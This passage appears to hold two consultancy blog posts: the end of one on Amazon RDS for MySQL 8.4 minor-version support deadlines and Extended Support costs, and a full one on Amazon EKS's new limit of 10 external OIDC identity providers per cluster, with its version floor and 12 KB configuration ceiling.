So the paid safety net works only at major-version granularity, and only if you are current on minors. A database sitting on 8.4.5 on 1 November 2026 cannot buy its way out. The only remedy is a minor upgrade, either through the maintenance window with automatic minor version upgrades enabled, or through a blue/green deployment.

For contrast, here is what the major-version net costs when it does apply, taken from the AWS Price List data behind the RDS for MySQL pricing page, in US East (N. Virginia) and current as of 25 August 2026.

Engine version and year band	us-east-1 price per vCPU-hour	Applies from
MySQL 8.0, years 1 and 2	$0.085	1 August 2026
MySQL 8.0, year 3	$0.170	1 August 2028
MySQL 5.7, years 1 and 2	$0.100	1 March 2024
MySQL 5.7, year 3	$0.200	1 March 2026

MySQL 8.0 reached RDS end of standard support on 31 July 2026, and charges begin the day after that date. An 8 vCPU instance still on 8.0 therefore accrues 8 x $0.085 x 730 hours, or $496.40 per 730-hour month, and Extended Support charges apply to Multi-AZ standby instances as well. That is the number to put next to the cost of the upgrade project. The real cost is usually the migration, not the code. Teams already working through that arithmetic will find the same ground covered in our note on MySQL 8.0 end of life and RDS Extended Support, and the same no-extended-support pattern on the MariaDB side in the RDS MariaDB 12.3 LTS support window.

How to tell whether this is you

Four checks, in order, each of which resolves in minutes.

Run SELECT VERSION(); on every RDS for MySQL instance. If the answer starts 8.4.5 or 8.4.6, you have 67 days. If it starts 8.4.7, you have 97. If it starts 8.0, you are already paying.
Check whether AutoMinorVersionUpgrade is enabled on each instance. Where it is off, the 31 October 2026 date is a manual task on someone's calendar, not an automatic one.
Do not plan a security control around the post-quantum line in the announcement. If a regulator or customer contract requires quantum-safe key exchange in transit, ask AWS Support to confirm in writing whether the RDS 8.4.11 build negotiates a hybrid group such as X25519MLKEM768, and whether any parameter exposes tls_kex.
If the answer to point 3 matters to a live commitment, treat the database leg as unresolved and inventory the rest of the estate first. Our post-quantum cryptography readiness assessment covers the inventory step.

India-specific considerations

Teams operating under the Digital Personal Data Protection Act 2023 face a practical version of the same problem. DPDP obligations turn on reasonable security safeguards rather than on named algorithms, so a post-quantum key exchange is not required today. What the Act does not tolerate is a control described in a compliance register that the system does not actually implement. Writing "post-quantum TLS enabled, RDS MySQL 8.4.11" into a register on the strength of the AWS announcement would create exactly that gap, because no RDS document confirms the behaviour. The 31 October 2026 minor-version date is the more immediate item for Indian teams: an unpatched database past end of standard support is a straightforward safeguards finding, and it cannot be deferred with Extended Support.

What is still unknown

Three things. Whether the RDS 8.4.11 build carries MySQL's PQC key exchange at all. Whether AWS intends to expose tls_kex or force_pqc as RDS parameters. And whether MySQL 8.4.12, released by the community on 18 August 2026, reaches RDS before 8.4.5 and 8.4.6 expire on 31 October 2026. None of the three is answered by any page linked from the announcement.

FAQ

Does Amazon RDS for MySQL 8.4.11 support post-quantum TLS?

The AWS announcement of 24 August 2026 says it does. The MySQL 8.4.11 community release notes of 28 July 2026 list no post-quantum feature, and Oracle's blog places post-quantum key exchange in MySQL 26.7.0. No RDS document confirms the behaviour, so treat the claim as unverified.

Why does the OpenSSL requirement matter on RDS?

Oracle gates MySQL post-quantum key exchange on builds linked with OpenSSL 3.5 or later. AWS documentation states that RDS for MySQL 8.4 and higher uses AWS-LC rather than OpenSSL. The precondition Oracle publishes therefore cannot be checked the way Oracle describes on an RDS instance.

When do MySQL 8.4.5 and 8.4.6 lose support on RDS?

Both reach RDS end of standard support on 31 October 2026, which is 67 days from 25 August 2026. MySQL 8.4.7 follows on 30 November 2026. Every minor from 8.4.8 onward carries a twelve-month window measured from its RDS release date instead.

Can I buy Extended Support for an RDS MySQL minor version?

No. The RDS user guide states that Extended Support is not available for minor versions, and the Amazon RDS for MySQL pricing FAQ adds that you must be on the latest engine minor to receive Extended Support at all. The only remedy for an expiring minor is an upgrade.

What does RDS Extended Support cost for MySQL 8.0?

In US East (N. Virginia), $0.085 per vCPU-hour in years one and two and $0.170 in year three, current as of 25 August 2026. MySQL 8.0 reached RDS end of standard support on 31 July 2026, so charges started the following day, including on Multi-AZ standby instances.

Is MySQL 8.4.11 the newest community minor?

No. The MySQL 8.4 release notes list Changes in MySQL 8.4.12 dated 18 August 2026, six days before the AWS post that described 8.4.11 as the latest community minor. MySQL 8.4.12 had not reached Amazon RDS as of 25 August 2026.

How long does AWS take to ship a community MySQL minor on RDS?

Across the seven MySQL 8.4 minors in the RDS user guide table, the gap between the community release date and the RDS release date runs from 10 days for 8.4.6 to 24 days for 8.4.11. The three most recent gaps are 17, 21 and 24 days.

What should I check first on my own fleet?

Run SELECT VERSION(); on every RDS for MySQL instance, then confirm whether automatic minor version upgrades are enabled. Versions 8.4.5 and 8.4.6 expire on 31 October 2026, and with automatic upgrades disabled that date becomes a manual task rather than a maintenance-window one.

How eCorpIT can help

eCorpIT plans and runs database version upgrades on AWS, including blue/green cutovers for RDS for MySQL and the Extended Support cost modelling that decides whether an upgrade pays for itself. We are ISO 27001:2022 certified and CMMI Level 5 appraised, and we design database platforms aligned with DPDP Act requirements. If you are carrying MySQL 8.0 Extended Support charges or an 8.4 minor that expires on 31 October 2026, book an RDS upgrade review and we will map the versions, dates and costs against your fleet. Wider estate work sits under our cloud migration and modernisation service and our cloud FinOps guidance for Indian teams.

References

Amazon RDS for MySQL now supports new minor version 8.4.11, AWS What's New, 24 August 2026.
Changes in MySQL 8.4.11 (2026-07-28), MySQL 8.4 Release Notes, Oracle.
Post-Quantum Cryptography support in MySQL, Miroslav Rajcic, The Oracle MySQL Blog, 28 July 2026.
Upgrading the MySQL DB engine and version management, Amazon RDS User Guide.
SSL/TLS support for MySQL DB instances on Amazon RDS, Amazon RDS User Guide.
Using SSL/TLS to encrypt a connection to a DB instance or cluster, Amazon RDS User Guide.
Amazon RDS Extended Support with Amazon RDS, Amazon RDS User Guide.
Amazon RDS Extended Support charges, Amazon RDS User Guide.
Amazon RDS for MySQL pricing, Amazon Web Services, retrieved 25 August 2026.
aws/aws-lc, AWS-LC repository, release v5.5.0 tagged 5 August 2026.
Blue/green deployments for Amazon RDS, Amazon RDS User Guide.
DescribeDBInstances and AutoMinorVersionUpgrade, Amazon RDS User Guide.

Last updated: 25 August 2026.

EKS raised the OIDC provider cap to 10 on 24 August 2026, but only above Kubernetes 1.32

Manu Shukla — Mon, 24 Aug 2026 23:43:09 +0000

EKS raised the OIDC provider cap to 10 on 24 August 2026, but only above Kubernetes 1.32

Summary. On 24 August 2026 AWS announced that Amazon EKS supports up to 10 external OpenID Connect identity providers per cluster, at no additional cost, in every Region where EKS runs. The Amazon EKS User Guide adds two limits the announcement leaves out: the cap of 10 applies only to clusters on Kubernetes 1.32 or later, and the combined size of all OIDC provider configurations on a cluster must stay under 12 KB. Clusters below 1.32 still get exactly one provider. Kubernetes 1.32 left EKS standard support on 23 March 2026, so the oldest cluster version that can hold 10 providers is already billing at the extended-support rate of $0.60 per cluster hour instead of $0.10. That is a difference of $365 per cluster per month on a 730-hour month.

What AWS actually announced

The AWS What's New post, dated 24 August 2026, is short. It says you "can associate up to 10 OIDC identity providers with a single cluster," names employees, contractors and CI/CD systems as the populations this is meant to separate, and states that existing IAM authentication keeps working alongside every configured provider. Providers are added through the console or the AssociateIdentityProviderConfig API. The post closes with the availability line: "available at no additional cost in all AWS Regions where Amazon EKS is available."

Nothing in that post is wrong. It is just incomplete in the two places that decide whether you can use the feature this quarter.

The version floor the announcement omits

The Amazon EKS User Guide page for external OIDC providers states the constraint plainly: "The number of OIDC identity providers you can associate with a cluster depends on the cluster's Kubernetes version. On clusters running Kubernetes version 1.32 or later, you can associate up to 10 OIDC identity providers. The combined size of all OIDC provider configurations must be less than 12 KB. On clusters running a version earlier than 1.32, you can associate only one OIDC identity provider."

That single sentence changes who the feature is for. Match it against the EKS Kubernetes version lifecycle and the picture is uncomfortable for anyone running an older control plane.

Kubernetes version	Support tier on 25 Aug 2026	External OIDC providers allowed	Control plane rate	Support ends
1.36	Standard	10	$0.10/hour	2 August 2027
1.35	Standard	10	$0.10/hour	27 March 2027
1.34	Standard	10	$0.10/hour	2 December 2026
1.33	Extended	10	$0.60/hour	29 July 2027
1.32	Extended	10	$0.60/hour	23 March 2027
1.31	Extended	1	$0.60/hour	26 November 2026

Kubernetes 1.31 is the awkward row. It is still a supported EKS version, it is still accepting clusters, and it is already paying the extended-support premium. It also cannot hold more than one external OIDC provider. Its extended support ends on 26 November 2026, which is 94 days from the date of the announcement. A team on 1.31 that wants separate identity providers for staff and for contractors has to complete a minor-version upgrade first, and it has under a hundred days before the version auto-upgrades anyway.

The rates come from the Amazon EKS pricing page, which states $0.10 per hour for a cluster on a version in standard support and $0.60 per hour once the version enters extended support, for up to 26 months from general availability on EKS. On a 730-hour month that is $73.00 against $438.00 per cluster. The gap is $365.00 per cluster per month, and it applies to two of the four version rows that can actually use the new cap.

The plain reading: the cheapest cluster version that can hold 10 OIDC providers at the standard rate is 1.34, which itself leaves standard support on 2 December 2026.

The 12 KB ceiling, and the arithmetic that does not close

The 12 KB figure is the second omission, and it is the one that will surprise people who plan for 10 providers and then find out what a provider configuration weighs.

Twelve kilobytes divided across 10 providers leaves about 1,228 bytes for each one. A minimal configuration is small: name, type, issuer URL, client ID. The size comes from the optional fields, above all requiredClaims, the map of claim names to values that every presented token must match.

The AssociateIdentityProviderConfig API reference sets the per-request limits on that map: a maximum of 50 entries, keys between 1 and 128 characters, values up to 256 characters. Take those maxima literally and one provider's requiredClaims map alone can reach 50 x (128 + 256) = 19,200 characters, or roughly 18.75 KB. That is more than the entire 12 KB budget the user guide allots to all 10 providers combined.

The two documents are not contradicting each other on purpose. The API reference describes what a single request will accept; the user guide describes what the cluster will hold. But an engineer reading only the API reference can build a configuration the API validates and the cluster refuses. Where the two pages disagree, size your configuration against the smaller number.

The practical rule is to treat 12 KB as a cluster-wide budget and to trim requiredClaims to the claims you actually enforce, rather than mirroring your identity provider's full claim set into EKS.

Constraint	The 24 Aug 2026 announcement	The documentation
Providers per cluster	"up to 10"	10 on Kubernetes 1.32+, 1 below 1.32
Combined config size	Not mentioned	Under 12 KB across all providers
Adjustable limit	Not mentioned	Not listed in EKS Service Quotas
Cost of the feature	"no additional cost"	Correct; the version floor is what costs
Applying a provider	"add each provider the same way as before"	A cluster update; cluster enters UPDATING

Ten providers means ten cluster updates

The user guide is explicit that "associating an OIDC identity provider is a cluster update. The cluster enters the UPDATING state, and the change can take several minutes to be fully applied to the cluster's API servers." Progress is tracked with the DescribeUpdate operation.

Read that as a rollout constraint rather than a footnote. Onboarding a full set of providers is a sequence of control plane updates, each taking minutes to propagate to the API servers, not a single declarative apply. If your change process requires a maintenance window for control plane updates, the number of windows scales with the number of providers. Teams that treat control plane changes as routine will not notice; teams with a change-approval board will.

Two smaller constraints sit alongside it, and both restrict the exact scenario the announcement advertises:

The issuer URL and the provider name must each be unique across all providers on the cluster, and the same provider cannot be associated twice. If your employees, your contractors and your CI/CD runners all authenticate against a single identity tenant with different client IDs, you cannot register that one issuer three times. Separate populations require separate issuers, not separate audiences on a shared issuer.

The issuer URL must be publicly reachable so that EKS can fetch the signing keys, and EKS does not support providers with self-signed certificates. Clusters using customer-routed control plane egress (controlPlaneEgressMode=CUSTOMER_ROUTED) have to make the issuer endpoint reachable through the configured egress path, which is a VPC routing task, not an identity task.

The cap is not a Service Quota

There is a quiet detail worth checking before anyone opens a support case asking for more than 10.

The AWS General Reference quota table for Amazon EKS lists nine cluster-scoped and account-scoped quotas: access entries per cluster, clusters per Region, control plane security groups per cluster, Fargate profiles per cluster, managed node groups per cluster, public endpoint access CIDR ranges per cluster, registered clusters, remote node networks per cluster and remote pod networks per cluster. There is no entry for OIDC identity provider configurations. The EKS service quotas page likewise routes readers to that table.

A limit absent from Service Quotas is not adjustable through the Service Quotas console or a quota-increase request. Plan for 10 as a fixed number.

What upstream Kubernetes allows, for comparison

The gap between EKS and upstream is wide enough to be worth stating. Structured authentication configuration reached stable in Kubernetes v1.34 and is enabled by default. The Kubernetes authentication reference describes it as the mechanism that "allows you to configure multiple JWT authenticators," and the annotated example in that page carries the comment that "the maximum number of allowed authenticators is 64."

Capability	Amazon EKS, 25 Aug 2026	Upstream Kubernetes 1.34+
Maximum JWT or OIDC authenticators	10	64
Configuration surface	AssociateIdentityProviderConfig API, console, eksctl	AuthenticationConfiguration file passed to kube-apiserver
Combined size limit	Under 12 KB	Not specified in the reference
CEL claim and user validation rules	Not exposed; `requiredClaims` map only	`claimValidationRules` and `userValidationRules` with CEL
Applying a change	Cluster update, several minutes	API server configuration

EKS sits at roughly one sixth of the upstream authenticator ceiling and does not expose the CEL-based claim validation rules that upstream offers. On a managed control plane you do not pass --authentication-config to the API server yourself, so the EKS-shaped API is the whole surface. That is the trade for not running the control plane.

Who this changes something for

Check three things in order. If all three are true, the announcement is directly useful this week.

Your cluster runs Kubernetes 1.32 or later. Run aws eks describe-cluster-versions to confirm what is available and where your cluster sits. If you are below 1.32, the version upgrade is the project, not the identity work. Our note on EKS 1.33 standard support ending and the upgrade path cost covers how those upgrade windows tend to be scoped.

Your populations authenticate against genuinely distinct issuers. One corporate tenant serving staff, contractors and pipelines through different client IDs does not qualify, because the issuer URL must be unique per provider.

You still need IAM. It cannot be disabled, because nodes join the cluster through it, and the cluster itself must be created by an IAM principal rather than an OIDC user. Users authenticated through an external OIDC provider also cannot sign in to the AWS Management Console or view Kubernetes resources there. Console access stays an IAM story.

For CI/CD in particular, the honest question is whether a cluster-attached OIDC provider is the right shape at all when the alternative is short-lived workload identity. The same short-lived-token argument has been playing out in package publishing, which we looked at in our piece on npm OIDC trusted publishing.

India-specific considerations

Indian teams running EKS in ap-south-1 or ap-south-2 get the feature at the same time and the same price as everywhere else, since it is Region-agnostic. The interesting constraint is local: the issuer URL has to be publicly reachable from the EKS control plane, which rules out an identity provider that only answers inside a private network or behind a VPN. Organisations that keep their identity provider entirely on-premises in India, a common pattern in BFSI, will need a publicly resolvable, properly certificated issuer endpoint before any of this applies.

Under the Digital Personal Data Protection Act, 2023, mapping contractor and vendor identities into a production cluster is a processing decision worth writing down. Each provider carries its own username and group prefixes, so the audit trail in CloudWatch control plane logs will distinguish the populations if, and only if, the prefixes are set deliberately at association time. Setting them later means a second cluster update.

What is still unknown

Three things the published documentation does not answer.

Whether the 12 KB ceiling counts the serialised configuration or the raw field values is not stated, so a configuration close to the line may behave differently from the arithmetic.

Whether AWS intends to raise 10 towards the upstream 64 is not signalled anywhere in the announcement or the user guide, and the absence of a Service Quotas entry suggests it is not currently treated as a tunable.

Whether clusters below 1.32 will ever receive the higher cap is not addressed. Given that 1.31 exits extended support on 26 November 2026, the practical answer is likely no.

How eCorpIT can help

We run AWS platform work for teams whose Kubernetes upgrade backlog and identity backlog have become the same project. That usually means sequencing the control plane upgrade first, then the provider associations, with the cluster update windows planned rather than discovered. If you are on a version below 1.32 and paying the extended-support rate, ask our AWS platform team for an upgrade and identity review and we will map the version path against your change windows. eCorpIT is ISO 27001:2022 certified and CMMI Level 5 appraised.

FAQ

How many external OIDC identity providers can an EKS cluster have?

Ten, but only on clusters running Kubernetes 1.32 or later. Clusters on any earlier version are limited to a single external OIDC identity provider. AWS announced the higher cap on 24 August 2026, and the Amazon EKS User Guide records the version condition that the announcement itself does not mention anywhere.

Does the new EKS OIDC provider cap cost anything extra?

No. AWS states the capability is available at no additional cost in every Region where Amazon EKS runs. The cost sits elsewhere: Kubernetes 1.32 and 1.33 are both in extended support as of 25 August 2026, which bills at $0.60 per cluster hour rather than the standard $0.10.

What is the 12 KB limit on EKS OIDC configuration?

The Amazon EKS User Guide requires that the combined size of all OIDC provider configurations on a cluster stays under 12 KB. Spread across ten providers that leaves roughly 1,228 bytes each, so large requiredClaims maps will exhaust the budget well before you reach the tenth provider.

Can I register the same identity provider twice with different client IDs?

No. Both the issuer URL and the provider name must be unique across every OIDC provider associated with the cluster, and the same provider cannot be associated more than once. Separating employees, contractors and pipelines therefore requires genuinely separate issuers rather than several audiences on one shared issuer.

Is adding an OIDC provider disruptive to a running EKS cluster?

Associating a provider is a cluster update. The cluster enters the UPDATING state and the change takes several minutes to reach all API servers, tracked through the DescribeUpdate operation. Adding ten providers therefore means ten sequential control plane updates rather than one declarative apply.

Can I request more than 10 OIDC providers per cluster?

There is no path to. The AWS General Reference quota table for Amazon EKS lists nine adjustable quotas and none of them covers OIDC identity provider configurations. A limit that does not appear in Service Quotas cannot be raised through the console or through a quota-increase request, so treat ten as fixed.

How does the EKS limit compare with upstream Kubernetes?

Upstream structured authentication configuration became stable in Kubernetes v1.34 and permits a maximum of 64 authenticators. EKS allows 10, roughly one sixth. EKS also does not expose the CEL-based claim validation and user validation rules that the upstream AuthenticationConfiguration file supports on a self-managed control plane.

Can I turn off IAM authentication once OIDC providers are configured?

No. The Amazon EKS User Guide states that IAM authentication cannot be disabled because it is still required for nodes to join the cluster, and the cluster must be created by an IAM principal rather than an OIDC user. Users authenticated through OIDC also cannot sign in to the AWS Management Console.

References

Last updated: 25 August 2026.